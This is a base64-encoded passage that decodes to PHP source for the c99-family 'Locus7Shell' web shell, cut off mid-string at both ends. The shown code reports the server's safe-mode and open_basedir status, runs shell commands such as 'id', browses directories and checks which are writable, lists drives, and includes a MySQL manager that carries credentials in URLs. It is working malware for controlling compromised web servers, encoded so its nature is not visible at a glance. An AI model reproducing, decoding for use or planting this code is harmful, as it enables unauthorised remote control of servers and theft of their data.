Qp7Cmdsb2JhbCAkZ3ppcGVuY29kZSwkZnQ7CmlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCnsKICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsKICBAb2JfZW5kX2NsZWFuKCk7CiAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsKICBlY2hvICR2OwogIEBvYl9lbmRfZmx1c2goKTsKfQp9CmZ1bmN0aW9uIGM5OXNoZXhpdCgpCnsKb25waHBzaHV0ZG93bigpOwpleGl0Owp9CmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsKaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmdtZGF0ZSgiRCwgZCBNIFkgSDppOnMiKS4iIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CmlmIChlbXB0eSgkdG1wZGlyKSkKewokdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsKaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KfQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7CiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7CmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9CmVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQp7CiRzYWZlbW9kZSA9IFRSVUU7CiRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9cmVkPk9OIChzZWN1cmUpPC9mb250PiI7Cn0KZWxzZSB7JHNhZmVtb2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7CmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQplbHNlIHskb3BlbmJhc2VkaXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30KJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsKJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsKQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGCkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwCkBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCCkBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwCkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwCkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMAppZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7JGFjdGJveCA9IGFycmF5KCk7fQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7CiRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7CiR1ZCA9IHVybGVuY29kZSgkZCk7Cj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBMb2N1czdTaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjMDA5OTAwOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjMDA5OTAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMDAwMDAwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMDBDQzAwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzAwQ0MwMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMwMDk5MDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjMDAwMDAwOyBDT0xPUjogZ3JlZW47IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICMwMDk5MDA7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZjg5NTIxOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmODk1MjE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmODk1MjE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZjg5NTIxOyBURVhULURFQ09SQVRJT046IGJvbGQ7fS5za2luMHtwb3NpdGlvbjphYnNvbHV0ZTsgd2lkdGg6MjAwcHg7IGJvcmRlcjoycHggc29saWQgYmxhY2s7IGJhY2tncm91bmQtY29sb3I6bWVudTsgZm9udC1mYW1pbHk6VmVyZGFuYTsgbGluZS1oZWlnaHQ6MjBweDsgY3Vyc29yOmRlZmF1bHQ7IHZpc2liaWxpdHk6aGlkZGVuOzt9LnNraW4xe2N1cnNvcjogZGVmYXVsdDsgZm9udDogbWVudXRleHQ7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDE0NXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBtZW51OyBib3JkZXI6IDEgc29saWQgYnV0dG9uZmFjZTt2aXNpYmlsaXR5OmhpZGRlbjsgYm9yZGVyOiAyIG91dHNldCBidXR0b25oaWdobGlnaHQ7IGZvbnQtZmFtaWx5OiBWZXJkYW5hLEdlbmV2YSwgQXJpYWw7IGZvbnQtc2l6ZTogMTBweDsgY29sb3I6IGJsYWNrO30ubWVudWl0ZW1ze3BhZGRpbmctbGVmdDoxNXB4OyBwYWRkaW5nLXJpZ2h0OjEwcHg7O31pbnB1dHtiYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O310ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31idXR0b257YmFja2dyb3VuZC1jb2xvcjogIzAwOTkwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9c2VsZWN0e2JhY2tncm91bmQtY29sb3I6ICMwMDk5MDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fW9wdGlvbiB7YmFja2dyb3VuZC1jb2xvcjogIzAwOTkwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9aWZyYW1lIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31wIHtNQVJHSU4tVE9QOiAwcHg7IE1BUkdJTi1CT1RUT006IDBweDsgTElORS1IRUlHSFQ6IDE1MCV9YmxvY2txdW90ZXsgZm9udC1zaXplOiA4cHQ7IGZvbnQtZmFtaWx5OiBDb3VyaWVyLCBGaXhlZCwgQXJpYWw7IGJvcmRlciA6IDhweCBzb2xpZCAjMDA5OTAwOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogNWVtOyBtYXJnaW4tcmlnaHQ6IDNlbTsgbWFyZ2luLWxlZnQ6IDRlbTsgYmFja2dyb3VuZC1jb2xvcjogIzAwOTkwMDt9Ym9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9PC9zdHlsZT48L2hlYWQ+PEJPRFkgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdpbj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMTUiIG5vd3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9pbWcyNDQuaW1hZ2VzaGFjay51cy9pbWcyNDQvNjY2My9sb2N1czdzZ204LmpwZyI+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsKJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7CiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7CiRpID0gMDsKZm9yZWFjaCgkcGQgYXMgJGIpCnsKJHQgPSAiIjsKJGogPSAwOwpmb3JlYWNoICgkZSBhcyAkcikKewogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsKICBpZiAoJGogPT0gJGkpIHticmVhazt9CiAgJGorKzsKfQplY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsKJGkrKzsKfQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOwppZiAoaXNfd3JpdGFibGUoJGQpKQp7CiR3ZCA9IFRSVUU7CiR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7CmVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOwp9CmVsc2UKewokd2QgPSBGQUxTRTsKJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9ubHkgXTwvZm9udD4iOwplY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsKfQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQp7CiRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRkKTsKJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7CmlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9IDA7fQppZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQppZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30KaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30KJHVzZWQgPSAkdG90YWwtJGZyZWU7CiRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7CmVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOwp9CmVjaG8gIjxicj4iOwplY2hvICI8Yj5Zb3VyIGlwOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPiIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIjwvYT4gLSBTZXJ2ZXIgaXA6IDxhIGhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI8L2E+PC9iPjxici8+IjsKJGxldHRlcnMgPSAiIjsKaWYgKCR3aW4pCnsKJHYgPSBleHBsb2RlKCJcXCIsJGQpOwokdiA9ICR2WzBdOwpmb3JlYWNoIChyYW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQp7CiAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7CiAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30KICBpZiAoJGJvb2wpCiAgewogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOwogICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQogICAkbGV0dGVycyAuPSAiIF08L2E+ICI7CiAgfQp9CmlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQp9CmlmIChjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkKewpmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAkaXRlbSkKewogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOwogICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7CiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpO30KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsKICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7Cn0KfQplY2hvICI8L3A+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CmlmICgoIWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO30KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsKaWYgKCRhY3QgPT0gIiIpIHskYWN0ID0gJGRzcGFjdCA9ICJscyI7fQppZiAoJGFjdCA9PSAic3FsIikKewokc3FsX3N1cmwgPSAkc3VybC4iYWN0PXNxbCI7CmlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQppZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQppZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQppZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9CmlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQokc3FsX3N1cmwgLj0gIiYiOwo/PjxoMz5BdHRlbnRpb24hIFNRTC1NYW5hZ2VyIGlzIDx1Pk5PVDwvdT4gcmVhZHkgbW9kdWxlISBEb24ndCByZXBvcnRzIGJ1Z3MuPC9oMz48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiBjb2xzcGFuPSIyIiB2YWxpZ249InRvcCI+PGNlbnRlcj48P3BocAppZiAoJHNxbF9zZXJ2ZXIpCnsKICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsKICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOwogIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOwogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQp9CmVsc2UgeyRzcWxfc29jayA9IEZBTFNFO30KZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOwppZiAoISRzcWxfc29jaykKewogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQp9CmVsc2UKewogICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3RhdHVzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJ2YXJzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTsKICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3B